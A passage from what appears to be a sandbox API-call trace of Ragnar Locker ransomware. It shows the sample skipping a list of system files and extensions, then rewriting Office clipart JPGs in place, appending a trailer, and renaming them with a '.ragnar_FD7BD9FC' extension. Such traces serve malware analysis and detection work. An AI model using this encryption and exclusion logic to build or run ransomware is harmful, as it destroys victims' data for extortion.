lpString2=".db") returned 1 [0087.858] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.858] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.858] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.858] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.858] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.858] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg")) returned 0x20 [0087.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.859] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=26739) returned 1 [0087.859] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x686a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.859] GetProcessHeap () returned 0x580000 [0087.859] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.859] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.860] VirtualAlloc (lpAddress=0x0, dwSize=0x6873, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.860] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.860] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.860] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6873, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6873, lpOverlapped=0x0) returned 1 [0087.861] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.862] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6873, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.862] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6873, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6873, lpOverlapped=0x0) returned 1 [0087.862] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6873, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.862] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.862] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6873, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.862] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.862] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.862] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.862] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.862] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.862] GetProcessHeap () returned 0x580000 [0087.862] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.862] CloseHandle (hObject=0xf4) returned 1 [0087.863] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" [0087.863] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.ragnar_FD7BD9FC" [0087.863] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.863] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa497, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341561.JPG", cAlternateFileName="")) returned 1 [0087.863] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.863] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341561.JPG" | out: lpString1="J0341561.JPG") returned="J0341561.JPG" [0087.863] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG") returned=".JPG" [0087.863] lstrcmpiW (lpString1="J0341561.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.863] lstrcmpiW (lpString1="J0341561.JPG", lpString2="autorun.inf") returned 1 [0087.863] lstrcmpiW (lpString1="J0341561.JPG", lpString2="boot.ini") returned 1 [0087.863] lstrcmpiW (lpString1="J0341561.JPG", lpString2="bootfont.bin") returned 1 [0087.864] lstrcmpiW (lpString1="J0341561.JPG", lpString2="bootsect.bak") returned 1 [0087.864] lstrcmpiW (lpString1="J0341561.JPG", lpString2="bootmgr") returned 1 [0087.864] lstrcmpiW (lpString1="J0341561.JPG", lpString2="bootmgr.efi") returned 1 [0087.864] lstrcmpiW (lpString1="J0341561.JPG", lpString2="bootmgfw.efi") returned 1 [0087.864] lstrcmpiW (lpString1="J0341561.JPG", lpString2="desktop.ini") returned 1 [0087.864] lstrcmpiW (lpString1="J0341561.JPG", lpString2="iconcache.db") returned 1 [0087.864] lstrcmpiW (lpString1="J0341561.JPG", lpString2="ntldr") returned -1 [0087.864] lstrcmpiW (lpString1="J0341561.JPG", lpString2="ntuser.dat") returned -1 [0087.864] lstrcmpiW (lpString1="J0341561.JPG", lpString2="ntuser.dat.log") returned -1 [0087.864] lstrcmpiW (lpString1="J0341561.JPG", lpString2="ntuser.ini") returned -1 [0087.864] lstrcmpiW (lpString1="J0341561.JPG", lpString2="thumbs.db") returned -1 [0087.864] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.864] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.864] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.864] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.864] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.864] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.864] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg")) returned 0x20 [0087.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.864] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=42135) returned 1 [0087.865] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa48e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.865] GetProcessHeap () returned 0x580000 [0087.865] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.865] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.866] VirtualAlloc (lpAddress=0x0, dwSize=0xa497, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.866] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.866] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.866] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa497, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa497, lpOverlapped=0x0) returned 1 [0087.868] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.868] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa497, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.868] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa497, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa497, lpOverlapped=0x0) returned 1 [0087.868] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa497, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.868] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.869] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa497, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.869] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.869] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.869] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.869] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.869] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.869] GetProcessHeap () returned 0x580000 [0087.869] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.869] CloseHandle (hObject=0xf4) returned 1 [0087.869] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" [0087.869] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.ragnar_FD7BD9FC" [0087.869] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341561.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341561.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.870] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341634.JPG", cAlternateFileName="")) returned 1 [0087.870] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.870] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341634.JPG" | out: lpString1="J0341634.JPG") returned="J0341634.JPG" [0087.870] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG") returned=".JPG" [0087.870] lstrcmpiW (lpString1="J0341634.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.870] lstrcmpiW (lpString1="J0341634.JPG", lpString2="autorun.inf") returned 1 [0087.870] lstrcmpiW (lpString1="J0341634.JPG", lpString2="boot.ini") returned 1 [0087.870] lstrcmpiW (lpString1="J0341634.JPG", lpString2="bootfont.bin") returned 1 [0087.870] lstrcmpiW (lpString1="J0341634.JPG", lpString2="bootsect.bak") returned 1 [0087.870] lstrcmpiW (lpString1="J0341634.JPG", lpString2="bootmgr") returned 1 [0087.870] lstrcmpiW (lpString1="J0341634.JPG", lpString2="bootmgr.efi") returned 1 [0087.870] lstrcmpiW (lpString1="J0341634.JPG", lpString2="bootmgfw.efi") returned 1 [0087.870] lstrcmpiW (lpString1="J0341634.JPG", lpString2="desktop.ini") returned 1 [0087.870] lstrcmpiW (lpString1="J0341634.JPG", lpString2="iconcache.db") returned 1 [0087.870] lstrcmpiW (lpString1="J0341634.JPG", lpString2="ntldr") returned -1 [0087.870] lstrcmpiW (lpString1="J0341634.JPG", lpString2="ntuser.dat") returned -1 [0087.870] lstrcmpiW (lpString1="J0341634.JPG", lpString2="ntuser.dat.log") returned -1 [0087.870] lstrcmpiW (lpString1="J0341634.JPG", lpString2="ntuser.ini") returned -1 [0087.870] lstrcmpiW (lpString1="J0341634.JPG", lpString2="thumbs.db") returned -1 [0087.870] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.871] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.871] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.871] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.871] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.871] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.871] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg")) returned 0x20 [0087.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.871] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7803) returned 1 [0087.871] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e72, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.871] GetProcessHeap () returned 0x580000 [0087.871] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.871] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.873] VirtualAlloc (lpAddress=0x0, dwSize=0x1e7b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.873] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.873] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.873] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e7b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1e7b, lpOverlapped=0x0) returned 1 [0087.874] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.874] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e7b, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.874] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e7b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1e7b, lpOverlapped=0x0) returned 1 [0087.874] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e7b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.874] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.874] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e7b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.874] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.874] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.874] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.875] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.875] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.875] GetProcessHeap () returned 0x580000 [0087.875] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.875] CloseHandle (hObject=0xf4) returned 1 [0087.875] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" [0087.875] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.ragnar_FD7BD9FC" [0087.875] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341634.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341634.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.876] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3615, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341636.JPG", cAlternateFileName="")) returned 1 [0087.876] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.876] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341636.JPG" | out: lpString1="J0341636.JPG") returned="J0341636.JPG" [0087.876] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG") returned=".JPG" [0087.876] lstrcmpiW (lpString1="J0341636.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.876] lstrcmpiW (lpString1="J0341636.JPG", lpString2="autorun.inf") returned 1 [0087.876] lstrcmpiW (lpString1="J0341636.JPG", lpString2="boot.ini") returned 1 [0087.876] lstrcmpiW (lpString1="J0341636.JPG", lpString2="bootfont.bin") returned 1 [0087.876] lstrcmpiW (lpString1="J0341636.JPG", lpString2="bootsect.bak") returned 1 [0087.876] lstrcmpiW (lpString1="J0341636.JPG", lpString2="bootmgr") returned 1 [0087.876] lstrcmpiW (lpString1="J0341636.JPG", lpString2="bootmgr.efi") returned 1 [0087.876] lstrcmpiW (lpString1="J0341636.JPG", lpString2="bootmgfw.efi") returned 1 [0087.876] lstrcmpiW (lpString1="J0341636.JPG", lpString2="desktop.ini") returned 1 [0087.876] lstrcmpiW (lpString1="J0341636.JPG", lpString2="iconcache.db") returned 1 [0087.876] lstrcmpiW (lpString1="J0341636.JPG", lpString2="ntldr") returned -1 [0087.876] lstrcmpiW (lpString1="J0341636.JPG", lpString2="ntuser.dat") returned -1 [0087.876] lstrcmpiW (lpString1="J0341636.JPG", lpString2="ntuser.dat.log") returned -1 [0087.876] lstrcmpiW (lpString1="J0341636.JPG", lpString2="ntuser.ini") returned -1 [0087.876] lstrcmpiW (lpString1="J0341636.JPG", lpString2="thumbs.db") returned -1 [0087.876] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.876] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.876] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.876] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.876] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.876] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.876] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg")) returned 0x20 [0087.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.877] GetFileSizeEx (in: 